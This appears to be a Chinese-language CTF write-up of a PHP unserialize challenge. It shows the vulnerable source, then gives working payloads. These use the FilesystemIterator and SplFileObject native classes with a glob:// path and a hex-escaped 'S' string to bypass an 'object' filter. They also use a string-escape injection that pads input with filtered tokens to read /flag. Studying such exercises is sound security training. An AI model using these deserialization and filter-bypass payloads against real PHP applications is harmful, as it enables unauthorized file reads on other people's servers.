前言
之前就学过反序列化的字符串逃逸
但是没怎么做题
补一下窟窿
题目
php
<?php
error_reporting(0);
class catalogue
{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error
{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello " . $this->OTL);
}
}
class escape
{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string)
{
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if (isset($_GET['cata'])) {
if (!preg_match('/object/i', $_GET['cata'])) {
unserialize($_GET['cata']);
} else {
$cc = new catalogue();
unserialize(serialize($cc));
}
if (isset($_POST['name']) && isset($_POST['phone']) && isset($_POST['email'])) {
if (preg_match("/flag/i", $_POST['email'])) {
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if (is_array($escape['phone'])) {
echo base64_encode(file_get_contents($escape['email']));
} else {
echo "I'm sorry to tell you that you are wrong";
}
}
} else {
highlight_file(__FILE__);
}
?>
思路
看到字符串逃逸
这题的关键应该是在这里
得到flag的触发点应该是在这里
但是
不知道flag在的文件名是啥
思路就断了
这里还允许我们get传个参数
看看能干嘛
这里找到可变参数
class的值可以自定义
并且通过data穿参
这样通过构造就能命令执行
这里看别人的wp
要用到PHP原生类函数浅析PHP原生类 - 知乎
这里用FilesystemIterator这个迭代器读取跟目录的值
先构造一下试试
php
<?php
error_reporting(0);
class catalogue
{
public $class = 'FilesystemIterator';
public $data = '/';
}
class escape
{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
$a = new catalogue;
$b = new error;
$c = new escape;
echo serialize($a);
O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}
只有sys
看别人的wp得到这里要用glob协议找到flag文件
glob协议的用法:
O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///fl*";}
找到flag
在根目录下有一个flag文件,那么可不可以用一个原生类来读呢?是有的
可以利用SplFileObject这个原生类,但是对object进行了过滤,这里需要使用到反序列化的小知识点:
方便数据的传输,反序列化内容中大写的S表示字符串,可以识别内容里的十六进制
O:9:"catalogue":2:{s:5:"class";S:13:"SplFileO\62ject";s:4:"data";s:5:"/flag";}
这是一个非预期解 主要用到php原生函数的学习
预期解还是要用字符串逃逸
这里对三个post的值有两个限制
一个是email的值不能有/flag
一个是phone的值为数组
我们先构造一下
O:6:"escape":3:{s:4:"name";s:5:"/flag";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}
我们可以通过字符串逃逸构造name的值为xxx+"";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}"
最后的payload为
name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}&phone=123&email=111